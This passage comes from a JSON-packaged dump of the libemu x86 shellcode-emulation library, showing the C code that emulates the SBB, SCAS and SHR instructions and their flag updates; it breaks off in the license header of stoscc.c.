Subtract with borrow r/m16 from r16\n\t\t\t * SBB r16,r/m16 \t\n\t\t\t */\n\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 1B /r\n\t\t\t * Subtract with borrow r/m32 from r32\n\t\t \t * SBB r32,r/m32\n\t\t\t*/\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 1B /r\n\t\t\t * Subtract with borrow r/m16 from r16\n\t\t\t * SBB r16,r/m16 \t\n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 1B /r\n\t\t\t * Subtract with borrow r/m32 from r32\n\t\t\t * SBB r32,r/m32\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_sbb_1c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 1C ib\n\t * Subtract with borrow imm8 from AL\n\t * SBB AL,imm8\n\t */\n\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t -)\n\treturn 0;\n}\n\nint32_t instr_sbb_1d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\t\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 1D iw               \n\t\t * Subtract with borrow imm16 from AX\n\t\t * SBB AX,imm16\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t -)\n\t}\n\telse\n\t{\n\t\t/* 1D id\n\t\t * Subtract with borrow imm32 from EAX\n\t\t * SBB EAX,imm32\n\t\t */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t -)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t -)\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_81_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /3 iw \n\t\t\t * Subtract with borrow imm16 from r/m16\n\t\t\t * SBB r/m16,imm16 \n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\n\n\t\t\t/* 81 /3 id \n\t\t\t * Subtract with borrow imm32 from r/m32\n\t\t\t * SBB r/m32,imm32\n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /3 iw \n\t\t\t * Subtract with borrow imm16 from r/m16\n\t\t\t * SBB r/m16,imm16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t}\n\t\telse\n\t\t{\n\n\n\t\t\t/* 81 /3 id \n\t\t\t * Subtract with borrow imm32 from r/m32\n\t\t\t * SBB r/m32,imm32\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_1_83_sbb(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /3 ib \n\t\t\t * Subtract with borrow sign-extended imm8 from r/m16\n\t\t\t * SBB r/m16,imm8\n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 83 /3 ib \n\t\t\t * Subtract with borrow sign-extended imm8 from r/m32\n\t\t\t * SBB r/m32,imm8\n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t -)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* 83 /3 ib \n\t\t\t * Subtract with borrow sign-extended imm8 from r/m16\n\t\t\t * SBB r/m16,imm8\n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 83 /3 ib \n\t\t\t * Subtract with borrow sign-extended imm8 from r/m32\n\t\t\t * SBB r/m32,imm8\n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t -)\n\t\t}\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/scas.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b) \\\nUINTOF(bits) operation_result = (a) - (b); \\\nUINTOF(bits) operand_a = a; \\\nUINTOF(bits) operand_b = b;\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 669*/\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b) \\\nINSTR_SET_FLAG_ZF(cpu) \\\nINSTR_SET_FLAG_PF(cpu) \\\nINSTR_SET_FLAG_SF(cpu) \\\nINSTR_SET_FLAG_CF(cpu, -) \\\nINSTR_SET_FLAG_OF(cpu, -,bits) \n\n\n#define INSTR_CALC_EDI(cpu, bits) \\\n{ \\\n\tif ( !CPU_FLAG_ISSET(cpu,f_df) ) \\\n\tcpu->reg[edi]+=bits/8; \\\nelse \\\n\tcpu->reg[edi]-=bits/8; \\\n}\n\n\nint32_t instr_scas_ae(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_ADSIZE )\n\t{\n\t\t/* AE \n\t\t * Compare AL with byte at ES:DI and set status flags\n\t\t * SCAS m8  \n\t\t * Compare AL with byte at ES:DI and set status flags\n\t\t * SCASB    \n\t\t */\n\t\tUNIMPLEMENTED(c, SST);\n\n\t}\n\telse\n\t{\n\t\t/* AE \n\t\t * Compare AL with byte at ES:EDI and set status flags\n\t\t * SCAS m8  \n\t\t * Compare AL with byte at ES:EDI and set status flags\n\t\t * SCASB    \n\t\t */\n\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\t\temu_memory_segment_select(c->mem,s_es);\n\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, c->reg[edi], &m8);\n\n\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[al],\n\t\t\t\t\t\t\t\t m8)\n\t\tINSTR_CALC_EDI(c, 8)\n\t\t\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_scas_af(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_ADSIZE )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* AF \n\t\t\t * Compare AX with word at ES:DI and set status flags\n\t\t\t * SCAS m16 \n\t\t\t * Compare AX with word at ES:DI and set status flags\n\t\t\t * SCASW    \n\t\t\t */\n\t\t\tUNIMPLEMENTED(c, SST);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* AF \n\t\t\t * Compare EAX with doubleword at ES:DI and set status flags\n\t\t\t * SCAS m32 \n\t\t\t * Compare EAX with doubleword at ES:DI and set status flags\n\t\t\t * SCASD    \n\t\t\t */\n\t\t\tUNIMPLEMENTED(c, SST);\n\t\t}\n\n\n\t}else\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* AF \n\t\t\t * Compare AX with word at ES:EDI and set status flags\n\t\t\t * SCAS m16 \n\t\t\t * Compare AX with word at ES:EDI and set status flags\n\t\t\t * SCASW    \n\t\t\t */\n\n\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\t\t\temu_memory_segment_select(c->mem,s_es);\n\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, c->reg[edi], &m16);\n\n\t\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[ax],\n\t\t\t\t\t\t\t\t\t m16)\n\n\t\t\tINSTR_CALC_EDI(c, 16)\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* AF \n\t\t\t * Compare EAX with doubleword at ES:EDI and set status flags\n\t\t\t * SCAS m32 \n\t\t\t * Compare EAX with doubleword at ES:EDI and set status flags\n\t\t\t * SCASD    \n\t\t\t */\n\n\t\t\tenum emu_segment oldseg = emu_memory_segment_get(c->mem);\n\t\t\temu_memory_segment_select(c->mem,s_es);\n\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, c->reg[edi], &m32);\n\n\t\t\temu_memory_segment_select(c->mem,oldseg);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[eax],\n\t\t\t\t\t\t\t\t\t m32)\n\n\t\t\tINSTR_CALC_EDI(c, 32)\n\t\t}\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/shr.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(bits, a, b, cpu) \\\nUINTOF(bits) operation_result = (a); \\\nuint8_t operand_b = (b); \\\n{ \\\n\toperand_b &= 0x1f; \\\n\tif( operand_b > 0 ) \\\n\t{ \\\n\t\tif( operation_result & (1 << (operand_b - 1)) ) \\\n\t\t{ \\\n\t\t\tCPU_FLAG_SET(cpu, f_cf); \\\n\t\t} \\\n\t\toperation_result >>= operand_b; \\\n\t\tif( operand_b == 1 ) \\\n\t\t{ \\\n\t\t\tif( (a) & (1 << (bits - 1)) ) \\\n\t\t\t{ \\\n\t\t\t\tCPU_FLAG_SET(cpu, f_of); \\\n\t\t\t} \\\n\t\t\telse \\\n\t\t\t{ \\\n\t\t\t\tCPU_FLAG_UNSET(cpu, f_of); \\\n\t\t\t} \\\n\t\t} \\\n\t\ta = operation_result; \\\n\t} \\\n}\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \\\nINSTR_CALC(bits, a, b, cpu) \\\nif (b > 0) \\\n{ \\\n\tINSTR_SET_FLAG_ZF(cpu) \\\n\tINSTR_SET_FLAG_PF(cpu) \\\n\tINSTR_SET_FLAG_SF(cpu) \\\n}\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 662*/\n\nint32_t instr_group_2_c0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\t/* C0 /5 ib \n\t\t * Unsigned divide r/m8 by 2, imm8 times\n\t\t * SHR r/m8,imm8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* C0 /5 ib \n\t\t * Unsigned divide r/m8 by 2, imm8 times\n\t\t * SHR r/m8,imm8  \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *i->imm8);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_c1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\n\t\t\t/* C1 /5 ib \n\t\t\t * Unsigned divide r/m16 by 2, imm8 times\n\t\t\t * SHR r/m16,imm8 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\n\n\t\t\t/* C1 /5 ib \n\t\t\t * Unsigned divide r/m32 by 2, imm8 times\n\t\t\t * SHR r/m32,imm8 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* C1 /5 ib \n\t\t\t * Unsigned divide r/m16 by 2, imm8 times\n\t\t\t * SHR r/m16,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* C1 /5 ib \n\t\t\t * Unsigned divide r/m32 by 2, imm8 times\n\t\t\t * SHR r/m32,imm8 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *i->imm8);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D0 /5\t\n\t\t * Unsigned divide r/m8 by 2, once                      \n\t\t * SHR r/m8,1     \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t 1);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D0 /5\t\n\t\t * Unsigned divide r/m8 by 2, once                      \n\t\t * SHR r/m8,1     \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t 1);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /5\t\n\t\t\t * Unsigned divide r/m16 by 2, once                      \n\t\t\t * SHR r/m16,1    \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /5\t\n\t\t\t * Unsigned divide r/m32 by 2, once                \n\t\t\t * SHR r/m32,1    \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t 1);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D1 /5\t\n\t\t\t * Unsigned divide r/m16 by 2, once                      \n\t\t\t * SHR r/m16,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D1 /5\t\n\t\t\t * Unsigned divide r/m32 by 2, once                \n\t\t\t * SHR r/m32,1    \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t 1);\n\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_group_2_d2_shr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* D2 /5   \n\t\t * Unsigned divide r/m8 by 2, CL times                  \n\t\t * SHR r/m8,CL    \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t m8,\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, m8);     \n\t}\n\telse\n\t{\n\t\t/* D2 /5   \n\t\t * Unsigned divide r/m8 by 2, CL times                  \n\t\t * SHR r/m8,CL    \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_2_d3_shr(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /5   \n\t\t\t * Unsigned divide r/m16 by 2, CL times                  \n\t\t\t * SHR r/m16,CL   \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m16,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, m16);        \n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /5   \n\t\t\t * Unsigned divide r/m32 by 2, CL times            \n\t\t\t * SHR r/m32,CL   \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t m32,\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, m32);       \n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* D3 /5   \n\t\t\t * Unsigned divide r/m16 by 2, CL times                  \n\t\t\t * SHR r/m16,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* D3 /5   \n\t\t\t * Unsigned divide r/m32 by 2, CL times            \n\t\t\t * SHR r/m32,CL   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm],\n\t\t\t\t\t\t\t\t\t *c->reg8[cl]);\n\t\t}\n\t}\n\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/stoscc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, 